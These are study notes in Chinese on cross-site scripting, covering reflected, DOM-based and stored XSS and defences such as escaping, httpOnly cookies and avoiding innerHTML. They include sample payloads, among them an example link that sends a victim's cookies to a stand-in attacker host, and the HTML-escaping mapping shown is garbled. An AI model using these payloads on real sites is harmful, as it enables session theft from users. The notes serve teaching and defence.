- 有人向网页注入恶意脚本代码
- 用户访问了包含恶意代码的网页
- 恶意脚本让黑客可以获取和控制用户信息
- 防范是对用户输入做严格过滤
- 反射型,
/home?type=<script>alert(1)</script>
- {httpOnly: true}) 前端不能操作cookie,并不能解决XSS,但是可以降低受损的范围
- 如果一个网站把用户输入的部分直接显示(留言板,查询),那么黑客可以根据这个做XSS,黑客可以用这个网址
www.正规URL.com?query=<script>img.src=www.hack.com?query=document.cookies<script>
,诱导用户自己点开,因为前面是正规的具有XSS漏洞的网址,用户很容易上当,一旦点击自己的cookies就被拿走了 - 查询参数 预防方法,使用encodeURIComponent对输入url encode
- 不基于后端,基于DOM(文档对象模型),修改属性,插入内容,立足于DOM,可以是反射型也可以是存储型
- 在改变结构后,会造成攻击,特别是使用innerhtml的时候,DOM解析HTML,造成攻击
- 攻击的内容称为xss payload
- 在用户输入的地方作为img的src,在这里输入
""><script>alert(2)<\/script>"
就是一次DOM-BASE的XSS - 网页url/ajax返回的数据是用户可控的并且在输出时没有做过滤,就可以写payloads
- 对用户输入使用encodeURI或者手动转义,或者使用DOM API代替InnerHtml
- 存储型XSS,恶意脚本存在服务器上,所有人都被影响了
- 最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的链接来执行,一般发生在博客评论,用户评论,留言板,聊天室,HTML电子邮件
- 客户端上传的时候,先校验过滤一下,服务器在过滤一下,在使用上传的内容时,也就是输出的时候过滤
- 过滤是将用户输入的字符转义,将
& " < > '
转成& " < > '
- 首先需要注意的是应该对所有用户提交的内容执行严格的输入验证,对URL,HTML,Javascript进行转义
- 保护被自动执行或来自第三方网站执行的所有敏感功能,使用令牌,验证码或者HTTP引用头检查
- 尽量不接受用户输入的HTML,如果非要,要禁止script标签,禁止调用远程内容(img,script,style)